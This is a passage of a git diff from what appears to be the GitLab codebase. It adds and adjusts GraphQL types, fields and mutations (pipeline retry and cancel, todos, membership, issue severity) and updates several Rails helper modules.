description: 'Detailed status of the pipeline',
resolve: -> (obj, _args, ctx) { obj.detailed_status(ctx[:current_user]) }
field :config_source, PipelineConfigSourceEnum, null: true,
- description: "Config source of the pipeline (#{::Ci::PipelineEnums.config_sources.keys.join(', ').upcase})"
+ description: "Config source of the pipeline (#{::Enums::Ci::Pipeline.config_sources.keys.join(', ').upcase})"
field :duration, GraphQL::INT_TYPE, null: true,
description: 'Duration of the pipeline in seconds'
field :coverage, GraphQL::FLOAT_TYPE, null: true,
@@ -48,6 +48,14 @@ module Types
field :user, Types::UserType, null: true,
description: 'Pipeline user',
resolve: -> (pipeline, _args, _context) { Gitlab::Graphql::Loaders::BatchModelLoader.new(User, pipeline.user_id).find }
+ field :retryable, GraphQL::BOOLEAN_TYPE,
+ description: 'Specifies if a pipeline can be retried',
+ method: :retryable?,
+ null: false
+ field :cancelable, GraphQL::BOOLEAN_TYPE,
+ description: 'Specifies if a pipeline can be canceled',
+ method: :cancelable?,
+ null: false
end
end
end
diff --git a/app/graphql/types/concerns/gitlab_style_deprecations.rb b/app/graphql/types/concerns/gitlab_style_deprecations.rb
new file mode 100644
index 00000000000..2c932f4214b
--- /dev/null
+++ b/app/graphql/types/concerns/gitlab_style_deprecations.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+# Concern for handling deprecation arguments.
+# https://docs.gitlab.com/ee/development/api_graphql_styleguide.html#deprecating-fields-and-enum-values
+module GitlabStyleDeprecations
+ extend ActiveSupport::Concern
+
+ private
+
+ def gitlab_deprecation(kwargs)
+ if kwargs[:deprecation_reason].present?
+ raise ArgumentError, 'Use `deprecated` property instead of `deprecation_reason`. ' \
+ 'See https://docs.gitlab.com/ee/development/api_graphql_styleguide.html#deprecating-fields-and-enum-values'
+ end
+
+ deprecation = kwargs.delete(:deprecated)
+ return kwargs unless deprecation
+
+ milestone, reason = deprecation.values_at(:milestone, :reason).map(&:presence)
+
+ raise ArgumentError, 'Please provide a `milestone` within `deprecated`' unless milestone
+ raise ArgumentError, 'Please provide a `reason` within `deprecated`' unless reason
+ raise ArgumentError, '`milestone` must be a `String`' unless milestone.is_a?(String)
+
+ deprecated_in = "Deprecated in #{milestone}"
+ kwargs[:deprecation_reason] = "#{reason}. #{deprecated_in}"
+ kwargs[:description] += ". #{deprecated_in}: #{reason}" if kwargs[:description]
+
+ kwargs
+ end
+end
diff --git a/app/graphql/types/current_user_todos.rb b/app/graphql/types/current_user_todos.rb
new file mode 100644
index 00000000000..e610286c1a9
--- /dev/null
+++ b/app/graphql/types/current_user_todos.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+# Interface to expose todos for the current_user on the `object`
+module Types
+ module CurrentUserTodos
+ include BaseInterface
+
+ field_class Types::BaseField
+
+ field :current_user_todos, Types::TodoType.connection_type,
+ description: 'Todos for the current user',
+ null: false do
+ argument :state, Types::TodoStateEnum,
+ description: 'State of the todos',
+ required: false
+ end
+
+ def current_user_todos(state: nil)
+ state ||= %i(done pending) # TodosFinder treats a `nil` state param as `pending`
+
+ TodosFinder.new(current_user, state: state, type: object.class.name, target_id: object.id).execute
+ end
+ end
+end
diff --git a/app/graphql/types/design_management/design_at_version_type.rb b/app/graphql/types/design_management/design_at_version_type.rb
index 343d4cf4ff4..e10a0de1715 100644
--- a/app/graphql/types/design_management/design_at_version_type.rb
+++ b/app/graphql/types/design_management/design_at_version_type.rb
@@ -6,7 +6,7 @@ module Types
graphql_name 'DesignAtVersion'
description 'A design pinned to a specific version. ' \
- 'The image field reflects the design as of the associated version.'
+ 'The image field reflects the design as of the associated version'
authorize :read_design
@@ -23,7 +23,7 @@ module Types
field :design,
Types::DesignManagement::DesignType,
null: false,
- description: 'The underlying design.'
+ description: 'The underlying design'
def cached_stateful_version(_parent)
version
diff --git a/app/graphql/types/design_management/design_collection_type.rb b/app/graphql/types/design_management/design_collection_type.rb
index 194910831c6..904fb270e11 100644
--- a/app/graphql/types/design_management/design_collection_type.rb
+++ b/app/graphql/types/design_management/design_collection_type.rb
@@ -4,7 +4,7 @@ module Types
module DesignManagement
class DesignCollectionType < BaseObject
graphql_name 'DesignCollection'
- description 'A collection of designs.'
+ description 'A collection of designs'
authorize :read_design
diff --git a/app/graphql/types/design_management/design_type.rb b/app/graphql/types/design_management/design_type.rb
index 3c84dc151bd..4e11a7aaf09 100644
--- a/app/graphql/types/design_management/design_type.rb
+++ b/app/graphql/types/design_management/design_type.rb
@@ -12,6 +12,7 @@ module Types
implements(Types::Notes::NoteableType)
implements(Types::DesignManagement::DesignFields)
+ implements(Types::CurrentUserTodos)
field :versions,
Types::DesignManagement::VersionType.connection_type,
diff --git a/app/graphql/types/error_tracking/sentry_detailed_error_type.rb b/app/graphql/types/error_tracking/sentry_detailed_error_type.rb
index 8bdd8afcbff..cfde9fa0d6a 100644
--- a/app/graphql/types/error_tracking/sentry_detailed_error_type.rb
+++ b/app/graphql/types/error_tracking/sentry_detailed_error_type.rb
@@ -4,7 +4,7 @@ module Types
module ErrorTracking
class SentryDetailedErrorType < ::Types::BaseObject
graphql_name 'SentryDetailedError'
- description 'A Sentry error.'
+ description 'A Sentry error'
present_using SentryErrorPresenter
diff --git a/app/graphql/types/error_tracking/sentry_error_collection_type.rb b/app/graphql/types/error_tracking/sentry_error_collection_type.rb
index f423fcb1b9f..798e0433d06 100644
--- a/app/graphql/types/error_tracking/sentry_error_collection_type.rb
+++ b/app/graphql/types/error_tracking/sentry_error_collection_type.rb
@@ -4,7 +4,7 @@ module Types
module ErrorTracking
class SentryErrorCollectionType < ::Types::BaseObject
graphql_name 'SentryErrorCollection'
- description 'An object containing a collection of Sentry errors, and a detailed error.'
+ description 'An object containing a collection of Sentry errors, and a detailed error'
authorize :read_sentry_issue
@@ -21,7 +21,7 @@ module Types
required: false
argument :sort,
String,
- description: 'Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default.',
+ description: 'Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default',
required: false
end
field :detailed_error, Types::ErrorTracking::SentryDetailedErrorType,
diff --git a/app/graphql/types/error_tracking/sentry_error_stack_trace_entry_type.rb b/app/graphql/types/error_tracking/sentry_error_stack_trace_entry_type.rb
index 0747e41e9fb..2e6c40b233b 100644
--- a/app/graphql/types/error_tracking/sentry_error_stack_trace_entry_type.rb
+++ b/app/graphql/types/error_tracking/sentry_error_stack_trace_entry_type.rb
@@ -5,7 +5,7 @@ module Types
# rubocop: disable Graphql/AuthorizeTypes
class SentryErrorStackTraceEntryType < ::Types::BaseObject
graphql_name 'SentryErrorStackTraceEntry'
- description 'An object containing a stack trace entry for a Sentry error.'
+ description 'An object containing a stack trace entry for a Sentry error'
field :function, GraphQL::STRING_TYPE,
null: true,
diff --git a/app/graphql/types/error_tracking/sentry_error_stack_trace_type.rb b/app/graphql/types/error_tracking/sentry_error_stack_trace_type.rb
index 0e6105d1ff2..1bbe7e0c77b 100644
--- a/app/graphql/types/error_tracking/sentry_error_stack_trace_type.rb
+++ b/app/graphql/types/error_tracking/sentry_error_stack_trace_type.rb
@@ -4,7 +4,7 @@ module Types
module ErrorTracking
class SentryErrorStackTraceType < ::Types::BaseObject
graphql_name 'SentryErrorStackTrace'
- description 'An object containing a stack trace entry for a Sentry error.'
+ description 'An object containing a stack trace entry for a Sentry error'
authorize :read_sentry_issue
diff --git a/app/graphql/types/error_tracking/sentry_error_type.rb b/app/graphql/types/error_tracking/sentry_error_type.rb
index 7a842025e45..693ab0c4f8f 100644
--- a/app/graphql/types/error_tracking/sentry_error_type.rb
+++ b/app/graphql/types/error_tracking/sentry_error_type.rb
@@ -5,7 +5,7 @@ module Types
# rubocop: disable Graphql/AuthorizeTypes
class SentryErrorType < ::Types::BaseObject
graphql_name 'SentryError'
- description 'A Sentry error. A simplified version of SentryDetailedError.'
+ description 'A Sentry error. A simplified version of SentryDetailedError'
present_using SentryErrorPresenter
diff --git a/app/graphql/types/group_member_type.rb b/app/graphql/types/group_member_type.rb
index ffffa3247db..6cca0a50647 100644
--- a/app/graphql/types/group_member_type.rb
+++ b/app/graphql/types/group_member_type.rb
@@ -8,7 +8,7 @@ module Types
implements MemberInterface
graphql_name 'GroupMember'
- description 'Represents a Group Member'
+ description 'Represents a Group Membership'
field :group, Types::GroupType, null: true,
description: 'Group that a User is a member of',
diff --git a/app/graphql/types/group_type.rb b/app/graphql/types/group_type.rb
index cc8cd7c01f9..60b2e3c7b6e 100644
--- a/app/graphql/types/group_type.rb
+++ b/app/graphql/types/group_type.rb
@@ -75,6 +75,12 @@ module Types
description: 'Title of the label'
end
+ field :group_members,
+ Types::GroupMemberType.connection_type,
+ description: 'A membership of a user within this group',
+ extras: [:lookahead],
+ resolver: Resolvers::GroupMembersResolver
+
def label(title:)
BatchLoader::GraphQL.for(title).batch(key: group) do |titles, loader, args|
LabelsFinder
diff --git a/app/graphql/types/issuable_severity_enum.rb b/app/graphql/types/issuable_severity_enum.rb
new file mode 100644
index 00000000000..563965d991e
--- /dev/null
+++ b/app/graphql/types/issuable_severity_enum.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Types
+ class IssuableSeverityEnum < BaseEnum
+ graphql_name 'IssuableSeverity'
+ description 'Incident severity'
+
+ ::IssuableSeverity.severities.keys.each do |severity|
+ value severity.upcase, value: severity, description: "#{severity.titleize} severity"
+ end
+ end
+end
diff --git a/app/graphql/types/issue_status_counts_type.rb b/app/graphql/types/issue_status_counts_type.rb
index f2b1ba8e655..77429f9ea12 100644
--- a/app/graphql/types/issue_status_counts_type.rb
+++ b/app/graphql/types/issue_status_counts_type.rb
@@ -3,7 +3,7 @@
module Types
class IssueStatusCountsType < BaseObject
graphql_name 'IssueStatusCountsType'
- description "Represents total number of issues for the represented statuses."
+ description 'Represents total number of issues for the represented statuses'
authorize :read_issue
diff --git a/app/graphql/types/issue_type.rb b/app/graphql/types/issue_type.rb
index 0a73ce95424..d6253f74ce5 100644
--- a/app/graphql/types/issue_type.rb
+++ b/app/graphql/types/issue_type.rb
@@ -7,6 +7,7 @@ module Types
connection_type_class(Types::CountableConnectionType)
implements(Types::Notes::NoteableType)
+ implements(Types::CurrentUserTodos)
authorize :read_issue
@@ -38,12 +39,10 @@ module Types
description: 'User that created the issue',
resolve: -> (obj, _args, _ctx) { Gitlab::Graphql::Loaders::BatchModelLoader.new(User, obj.author_id).find }
- # Remove complexity when BatchLoader is used
- field :assignees, Types::UserType.connection_type, null: true, complexity: 5,
+ field :assignees, Types::UserType.connection_type, null: true,
description: 'Assignees of the issue'
- # Remove complexity when BatchLoader is used
- field :labels, Types::LabelType.connection_type, null: true, complexity: 5,
+ field :labels, Types::LabelType.connection_type, null: true,
description: 'Labels of the issue'
field :milestone, Types::MilestoneType, null: true,
description: 'Milestone of the issue',
@@ -101,6 +100,14 @@ module Types
field :type, Types::IssueTypeEnum, null: true,
method: :issue_type,
description: 'Type of the issue'
+
+ field :alert_management_alert,
+ Types::AlertManagement::AlertType,
+ null: true,
+ description: 'Alert associated to this issue'
+
+ field :severity, Types::IssuableSeverityEnum, null: true,
+ description: 'Severity level of the incident'
end
end
diff --git a/app/graphql/types/jira_user_type.rb b/app/graphql/types/jira_user_type.rb
index 999526a920e..394820d23be 100644
--- a/app/graphql/types/jira_user_type.rb
+++ b/app/graphql/types/jira_user_type.rb
@@ -7,7 +7,7 @@ module Types
graphql_name 'JiraUser'
field :jira_account_id, GraphQL::STRING_TYPE, null: false,
- description: 'Account id of the Jira user'
+ description: 'Account ID of the Jira user'
field :jira_display_name, GraphQL::STRING_TYPE, null: false,
description: 'Display name of the Jira user'
field :jira_email, GraphQL::STRING_TYPE, null: true,
diff --git a/app/graphql/types/member_interface.rb b/app/graphql/types/member_interface.rb
index 976836221bc..615a45413cb 100644
--- a/app/graphql/types/member_interface.rb
+++ b/app/graphql/types/member_interface.rb
@@ -4,6 +4,9 @@ module Types
module MemberInterface
include BaseInterface
+ field :id, GraphQL::ID_TYPE, null: false,
+ description: 'ID of the member'
+
field :access_level, Types::AccessLevelType, null: true,
description: 'GitLab::Access level'
@@ -18,5 +21,21 @@ module Types
field :expires_at, Types::TimeType, null: true,
description: 'Date and time the membership expires'
+
+ field :user, Types::UserType, null: false,
+ description: 'User that is associated with the member object'
+
+ definition_methods do
+ def resolve_type(object, context)
+ case object
+ when GroupMember
+ Types::GroupMemberType
+ when ProjectMember
+ Types::ProjectMemberType
+ else
+ raise ::Gitlab::Graphql::Errors::BaseError, "Unknown member type #{object.class.name}"
+ end
+ end
+ end
end
end
diff --git a/app/graphql/types/merge_request_sort_enum.rb b/app/graphql/types/merge_request_sort_enum.rb
new file mode 100644
index 00000000000..c64ae367a76
--- /dev/null
+++ b/app/graphql/types/merge_request_sort_enum.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Types
+ class MergeRequestSortEnum < IssuableSortEnum
+ graphql_name 'MergeRequestSort'
+ description 'Values for sorting merge requests'
+
+ value 'MERGED_AT_ASC', 'Merge time by ascending order', value: :merged_at_asc
+ value 'MERGED_AT_DESC', 'Merge time by descending order', value: :merged_at_desc
+ end
+end
diff --git a/app/graphql/types/merge_request_type.rb b/app/graphql/types/merge_request_type.rb
index 01b02b7976f..56c88491684 100644
--- a/app/graphql/types/merge_request_type.rb
+++ b/app/graphql/types/merge_request_type.rb
@@ -7,6 +7,7 @@ module Types
connection_type_class(Types::CountableConnectionType)
implements(Types::Notes::NoteableType)
+ implements(Types::CurrentUserTodos)
authorize :read_merge_request
@@ -79,7 +80,7 @@ module Types
description: 'Error message due to a merge error'
field :allow_collaboration, GraphQL::BOOLEAN_TYPE, null: true,
description: 'Indicates if members of the target project can push to the fork'
- field :should_be_rebased, GraphQL::BOOLEAN_TYPE, method: :should_be_rebased?, null: false,
+ field :should_be_rebased, GraphQL::BOOLEAN_TYPE, method: :should_be_rebased?, null: false, calls_gitaly: true,
description: 'Indicates if the merge request will be rebased'
field :rebase_commit_sha, GraphQL::STRING_TYPE, null: true,
description: 'Rebase commit SHA of the merge request'
@@ -112,6 +113,7 @@ module Types
field :head_pipeline, Types::Ci::PipelineType, null: true, method: :actual_head_pipeline,
description: 'The pipeline running on the branch HEAD of the merge request'
field :pipelines, Types::Ci::PipelineType.connection_type,
+ null: true,
description: 'Pipelines for the merge request',
resolver: Resolvers::MergeRequestPipelinesResolver
@@ -145,6 +147,10 @@ module Types
description: Types::TaskCompletionStatus.description
field :commit_count, GraphQL::INT_TYPE, null: true,
description: 'Number of commits in the merge request'
+ field :conflicts, GraphQL::BOOLEAN_TYPE, null: false, method: :cannot_be_merged?,
+ description: 'Indicates if the merge request has conflicts'
+ field :auto_merge_enabled, GraphQL::BOOLEAN_TYPE, null: false,
+ description: 'Indicates if auto merge is enabled for the merge request'
def diff_stats(path: nil)
stats = Array.wrap(object.diff_stats&.to_a)
diff --git a/app/graphql/types/metrics/dashboard_type.rb b/app/graphql/types/metrics/dashboard_type.rb
index bbcce2d9596..47502356773 100644
--- a/app/graphql/types/metrics/dashboard_type.rb
+++ b/app/graphql/types/metrics/dashboard_type.rb
@@ -16,6 +16,13 @@ module Types
field :annotations, Types::Metrics::Dashboards::AnnotationType.connection_type, null: true,
description: 'Annotations added to the dashboard',
resolver: Resolvers::Metrics::Dashboards::AnnotationResolver
+
+ # In order to maintain backward compatibility we need to return NULL when there are no warnings
+ # and dashboard validation returns an empty array when there are no issues.
+ def schema_validation_warnings
+ warnings = object.schema_validation_warnings
+ warnings unless warnings.empty?
+ end
end
# rubocop: enable Graphql/AuthorizeTypes
end
diff --git a/app/graphql/types/milestone_type.rb b/app/graphql/types/milestone_type.rb
index ca606c9da44..8603043804e 100644
--- a/app/graphql/types/milestone_type.rb
+++ b/app/graphql/types/milestone_type.rb
@@ -3,7 +3,7 @@
module Types
class MilestoneType < BaseObject
graphql_name 'Milestone'
- description 'Represents a milestone.'
+ description 'Represents a milestone'
present_using MilestonePresenter
@@ -60,3 +60,5 @@ module Types
end
end
end
+
+Types::MilestoneType.prepend_if_ee('::EE::Types::MilestoneType')
diff --git a/app/graphql/types/mutation_operation_mode_enum.rb b/app/graphql/types/mutation_operation_mode_enum.rb
index 90a29d2b0e5..37e83e7a2e1 100644
--- a/app/graphql/types/mutation_operation_mode_enum.rb
+++ b/app/graphql/types/mutation_operation_mode_enum.rb
@@ -3,7 +3,7 @@
module Types
class MutationOperationModeEnum < BaseEnum
graphql_name 'MutationOperationMode'
- description 'Different toggles for changing mutator behavior.'
+ description 'Different toggles for changing mutator behavior'
# Suggested param name for the enum: `operation_mode`
diff --git a/app/graphql/types/mutation_type.rb b/app/graphql/types/mutation_type.rb
index e143d14676e..b2732d83aac 100644
--- a/app/graphql/types/mutation_type.rb
+++ b/app/graphql/types/mutation_type.rb
@@ -14,6 +14,7 @@ module Types
mount_mutation Mutations::AwardEmojis::Add
mount_mutation Mutations::AwardEmojis::Remove
mount_mutation Mutations::AwardEmojis::Toggle
+ mount_mutation Mutations::Boards::Destroy
mount_mutation Mutations::Boards::Issues::IssueMoveList
mount_mutation Mutations::Boards::Lists::Create
mount_mutation Mutations::Boards::Lists::Update
@@ -24,6 +25,7 @@ module Types
mount_mutation Mutations::Issues::SetConfidential
mount_mutation Mutations::Issues::SetLocked
mount_mutation Mutations::Issues::SetDueDate
+ mount_mutation Mutations::Issues::SetSeverity
mount_mutation Mutations::Issues::SetSubscription
mount_mutation Mutations::Issues::Update
mount_mutation Mutations::MergeRequests::Create
@@ -62,6 +64,9 @@ module Types
mount_mutation Mutations::DesignManagement::Delete, calls_gitaly: true
mount_mutation Mutations::DesignManagement::Move
mount_mutation Mutations::ContainerExpirationPolicies::Update
+ mount_mutation Mutations::Ci::PipelineCancel
+ mount_mutation Mutations::Ci::PipelineDestroy
+ mount_mutation Mutations::Ci::PipelineRetry
end
end
diff --git a/app/graphql/types/permission_types/merge_request.rb b/app/graphql/types/permission_types/merge_request.rb
index 28b7ebd2af6..e9c89b0c92e 100644
--- a/app/graphql/types/permission_types/merge_request.rb
+++ b/app/graphql/types/permission_types/merge_request.rb
@@ -18,6 +18,10 @@ module Types
PERMISSION_FIELDS.each do |field_name|
permission_field field_name, method: :"can_#{field_name}?", calls_gitaly: true
end
+
+ permission_field :can_merge, calls_gitaly: true, resolve: -> (object, args, context) do
+ object.can_be_merged_by?(context[:current_user])
+ end
end
end
end
diff --git a/app/graphql/types/project_member_type.rb b/app/graphql/types/project_member_type.rb
index e9ccb51886b..f08781238d0 100644
--- a/app/graphql/types/project_member_type.rb
+++ b/app/graphql/types/project_member_type.rb
@@ -3,7 +3,7 @@
module Types
class ProjectMemberType < BaseObject
graphql_name 'ProjectMember'
- description 'Represents a Project Member'
+ description 'Represents a Project Membership'
expose_permissions Types::PermissionTypes::Project
@@ -11,13 +11,6 @@ module Types
authorize :read_project
- field :id, GraphQL::ID_TYPE, null: false,
- description: 'ID of the member'
-
- field :user, Types::UserType, null: false,
- description: 'User that is associated with the member object',
- resolve: -> (obj, _args, _ctx) { Gitlab::Graphql::Loaders::BatchModelLoader.new(User, obj.user_id).find }
-
field :project, Types::ProjectType, null: true,
description: 'Project that User is a member of',
resolve: -> (obj, _args, _ctx) { Gitlab::Graphql::Loaders::BatchModelLoader.new(Project, obj.source_id).find }
diff --git a/app/graphql/types/project_type.rb b/app/graphql/types/project_type.rb
index 5562db69de6..0fd54af1538 100644
--- a/app/graphql/types/project_type.rb
+++ b/app/graphql/types/project_type.rb
@@ -54,7 +54,7 @@ module Types
field :container_registry_enabled, GraphQL::BOOLEAN_TYPE, null: true,
description: 'Indicates if the project stores Docker container images in a container registry'
field :shared_runners_enabled, GraphQL::BOOLEAN_TYPE, null: true,
- description: 'Indicates if Shared Runners are enabled for the project'
+ description: 'Indicates if shared runners are enabled for the project'
field :lfs_enabled, GraphQL::BOOLEAN_TYPE, null: true,
description: 'Indicates if the project has Large File Storage (LFS) enabled'
field :merge_requests_ff_only_enabled, GraphQL::BOOLEAN_TYPE, null: true,
@@ -134,7 +134,7 @@ module Types
null: true,
description: 'Merge requests of the project',
extras: [:lookahead],
- resolver: Resolvers::MergeRequestsResolver
+ resolver: Resolvers::ProjectMergeRequestsResolver
field :merge_request,
Types::MergeRequestType,
@@ -146,12 +146,14 @@ module Types
Types::IssueType.connection_type,
null: true,
description: 'Issues of the project',
+ extras: [:lookahead],
resolver: Resolvers::IssuesResolver
field :issue_status_counts,
Types::IssueStatusCountsType,
null: true,
description: 'Counts of issues by status for the project',
+ extras: [:lookahead],
resolver: Resolvers::IssueStatusCountsResolver
field :milestones, Types::MilestoneType.connection_type, null: true,
@@ -159,7 +161,7 @@ module Types
resolver: Resolvers::ProjectMilestonesResolver
field :project_members,
- Types::ProjectMemberType.connection_type,
+ Types::MemberInterface.connection_type,
description: 'Members of the project',
resolver: Resolvers::ProjectMembersResolver
diff --git a/app/graphql/types/projects/namespace_project_sort_enum.rb b/app/graphql/types/projects/namespace_project_sort_enum.rb
new file mode 100644
index 00000000000..1e13deb6508
--- /dev/null
+++ b/app/graphql/types/projects/namespace_project_sort_enum.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Types
+ module Projects
+ class NamespaceProjectSortEnum < BaseEnum
+ graphql_name 'NamespaceProjectSort'
+ description 'Values for sorting projects'
+
+ value 'SIMILARITY', 'Most similar to the search query', value: :similarity
+ end
+ end
+end
diff --git a/app/graphql/types/query_type.rb b/app/graphql/types/query_type.rb
index c04f4da70cf..447ac63a294 100644
--- a/app/graphql/types/query_type.rb
+++ b/app/graphql/types/query_type.rb
@@ -70,9 +70,24 @@ module Types
description: 'Text to echo back',
resolver: Resolvers::EchoResolver
+ field :issue, Types::IssueType,
+ null: true,
+ description: 'Find an issue' do
+ argument :id, ::Types::GlobalIDType[::Issue], required: true, description: 'The global ID of the Issue'
+ end
+
+ field :instance_statistics_measurements, Types::Admin::Analytics::InstanceStatistics::MeasurementType.connection_type,
+ null: true,
+ description: 'Get statistics on the instance',
+ resolver: Resolvers::Admin::Analytics::InstanceStatistics::MeasurementsResolver
+
def design_management
DesignManagementObject.new(nil)
end
+
+ def issue(id:)
+ GitlabSchema.object_from_id(id, expected_type: ::Issue)
+ end
end
end
diff --git a/app/graphql/types/release_asset_link_type.rb b/app/graphql/types/release_asset_link_type.rb
index 21f1bd50cff..0e519ece791 100644
--- a/app/graphql/types/release_asset_link_type.rb
+++ b/app/graphql/types/release_asset_link_type.rb
@@ -17,5 +17,17 @@ module Types
description: 'Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other`'
field :external, GraphQL::BOOLEAN_TYPE, null: true, method: :external?,
description: 'Indicates the link points to an external resource'
+
+ field :direct_asset_url, GraphQL::STRING_TYPE, null: true,
+ description: 'Direct asset URL of the link'
+
+ def direct_asset_url
+ return object.url unless object.filepath
+
+ release = object.release
+ project = release.project
+
+ Gitlab::Routing.url_helpers.project_release_url(project, release) << object.filepath
+ end
end
end
diff --git a/app/graphql/types/release_type.rb b/app/graphql/types/release_type.rb
index a0703b96a36..b715b981483 100644
--- a/app/graphql/types/release_type.rb
+++ b/app/graphql/types/release_type.rb
@@ -5,6 +5,8 @@ module Types
graphql_name 'Release'
description 'Represents a release'
+ connection_type_class(Types::CountableConnectionType)
+
authorize :read_release
alias_method :release, :object
@@ -26,6 +28,8 @@ module Types
description: 'Timestamp of when the release was created'
field :released_at, Types::TimeType, null: true,
description: 'Timestamp of when the release was released'
+ field :upcoming_release, GraphQL::BOOLEAN_TYPE, null: true, method: :upcoming_release?,
+ description: 'Indicates the release is an upcoming release'
field :assets, Types::ReleaseAssetsType, null: true, method: :itself,
description: 'Assets of the release'
field :links, Types::ReleaseLinksType, null: true, method: :itself,
diff --git a/app/graphql/types/todo_type.rb b/app/graphql/types/todo_type.rb
index 08e7fabeb74..4f21da3d897 100644
--- a/app/graphql/types/todo_type.rb
+++ b/app/graphql/types/todo_type.rb
@@ -26,7 +26,7 @@ module Types
resolve: -> (todo, args, context) { Gitlab::Graphql::Loaders::BatchModelLoader.new(Group, todo.group_id).find }
field :author, Types::UserType,
- description: 'The owner of this todo',
+ description: 'The author of this todo',
null: false,
resolve: -> (todo, args, context) { Gitlab::Graphql::Loaders::BatchModelLoader.new(User, todo.author_id).find }
diff --git a/app/graphql/types/user_type.rb b/app/graphql/types/user_type.rb
index cb3575b41d1..8047708776d 100644
--- a/app/graphql/types/user_type.rb
+++ b/app/graphql/types/user_type.rb
@@ -37,6 +37,9 @@ module Types
field :project_memberships, Types::ProjectMemberType.connection_type, null: true,
description: 'Project memberships of the user',
method: :project_members
+ field :starred_projects, Types::ProjectType.connection_type, null: true,
+ description: 'Projects starred by the user',
+ resolver: Resolvers::UserStarredProjectsResolver
# Merge request field: MRs can be either authored or assigned:
field :authored_merge_requests, Types::MergeRequestType.connection_type, null: true,
diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb
index 41b20a1d9a0..a81225c8954 100644
--- a/app/helpers/application_helper.rb
+++ b/app/helpers/application_helper.rb
@@ -4,6 +4,8 @@ require 'digest/md5'
require 'uri'
module ApplicationHelper
+ include StartupCssHelper
+
# See https://docs.gitlab.com/ee/development/ee_features.html#code-in-app-views
# rubocop: disable CodeReuse/ActiveRecord
def render_if_exists(partial, locals = {})
@@ -235,13 +237,9 @@ module ApplicationHelper
"#{request.path}?#{options.compact.to_param}"
end
- def use_startup_css?
- Feature.enabled?(:startup_css) && !Rails.env.test?
- end
-
def stylesheet_link_tag_defer(path)
if use_startup_css?
- stylesheet_link_tag(path, media: "print")
+ stylesheet_link_tag(path, media: "print", crossorigin: ActionController::Base.asset_host ? 'anonymous' : nil)
else
stylesheet_link_tag(path, media: "all")
end
diff --git a/app/helpers/application_settings_helper.rb b/app/helpers/application_settings_helper.rb
index 404700bb25e..9245cc1cb1c 100644
--- a/app/helpers/application_settings_helper.rb
+++ b/app/helpers/application_settings_helper.rb
@@ -222,6 +222,8 @@ module ApplicationSettingsHelper
:gitaly_timeout_default,
:gitaly_timeout_medium,
:gitaly_timeout_fast,
+ :gitpod_enabled,
+ :gitpod_url,
:grafana_enabled,
:grafana_url,
:gravatar_enabled,
@@ -298,7 +300,6 @@ module ApplicationSettingsHelper
:unique_ips_limit_per_user,
:unique_ips_limit_time_window,
:usage_ping_enabled,
- :instance_statistics_visibility_private,
:user_default_external,
:user_show_add_ssh_key_message,
:user_default_internal_regex,
@@ -313,7 +314,6 @@ module ApplicationSettingsHelper
:snowplow_cookie_domain,
:snowplow_enabled,
:snowplow_app_id,
- :snowplow_iglu_registry_url,
:push_event_hooks_limit,
:push_event_activities_limit,
:custom_http_clone_url_root,
@@ -328,7 +328,8 @@ module ApplicationSettingsHelper
:group_import_limit,
:group_export_limit,
:group_download_export_limit,
- :wiki_page_max_content_bytes
+ :wiki_page_max_content_bytes,
+ :container_registry_delete_tags_service_timeout
]
end
diff --git a/app/helpers/auth_helper.rb b/app/helpers/auth_helper.rb
index a57e27d23c8..7f8cb66a84f 100644
--- a/app/helpers/auth_helper.rb
+++ b/app/helpers/auth_helper.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module AuthHelper
- PROVIDERS_WITH_ICONS = %w(twitter github gitlab bitbucket google_oauth2 facebook azure_oauth2 authentiq salesforce).freeze
+ PROVIDERS_WITH_ICONS = %w(twitter github gitlab bitbucket google_oauth2 facebook azure_oauth2 authentiq salesforce atlassian_oauth2).freeze
LDAP_PROVIDER = /\Aldap/.freeze
def ldap_enabled?
@@ -133,6 +133,8 @@ module AuthHelper
# rubocop: disable CodeReuse/ActiveRecord
def auth_active?(provider)
+ return current_user.atlassian_identity.present? if provider == :atlassian_oauth2
+
current_user.identities.exists?(provider: provider.to_s)
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/helpers/blob_helper.rb b/app/helpers/blob_helper.rb
index 615c834c529..2eff87ae0ec 100644
--- a/app/helpers/blob_helper.rb
+++ b/app/helpers/blob_helper.rb
@@ -41,7 +41,7 @@ module BlobHelper
end
def encode_ide_path(path)
- url_encode(path).gsub('%2F', '/')
+ ERB::Util.url_encode(path).gsub('%2F', '/')
end
def edit_blob_button(project = @project, ref = @ref, path = @path, options = {})
@@ -375,4 +375,9 @@ module BlobHelper
def human_access
@project.team.human_max_access(current_user&.id).try(:downcase)
end
+
+ def editing_ci_config?
+ @path.to_s.end_with?(Ci::Pipeline::CONFIG_EXTENSION) ||
+ @path.to_s == @project.ci_config_path_or_default
+ end
end
diff --git a/app/helpers/boards_helper.rb b/app/helpers/boards_helper.rb
index f8c00f3a4cd..6a4a7a8dfb2 100644
--- a/app/helpers/boards_helper.rb
+++ b/app/helpers/boards_helper.rb
@@ -11,13 +11,13 @@ module BoardsHelper
lists_endpoint: board_lists_path(board),
board_id: board.id,
disabled: (!can?(current_user, :create_non_backlog_issues, board)).to_s,
- issue_link_base: build_issue_link_base,
root_path: root_path,
full_path: full_path,
bulk_update_path: @bulk_issues_path,
time_tracking_limit_to_hours: Gitlab::CurrentSettings.time_tracking_limit_to_hours.to_s,
recent_boards_endpoint: recent_boards_path,
- parent: current_board_parent.model_name.param_key
+ parent: current_board_parent.model_name.param_key,
+ group_id: @group&.id
}
end
diff --git a/app/helpers/ci/jobs_helper.rb b/app/helpers/ci/jobs_helper.rb
index 0344413b849..e876eb64029 100644
--- a/app/helpers/ci/jobs_helper.rb
+++ b/app/helpers/ci/jobs_helper.rb
@@ -6,6 +6,7 @@ module Ci
{
"endpoint" => project_job_path(@project, @build, format: :json),
"project_path" => @project.full_path,
+ "artifact_help_url" => help_page_path('user/gitlab_com/index.html', anchor: 'gitlab-cicd'),
"deployment_help_url" => help_page_path('user/project/clusters/index.html', anchor: 'troubleshooting'),
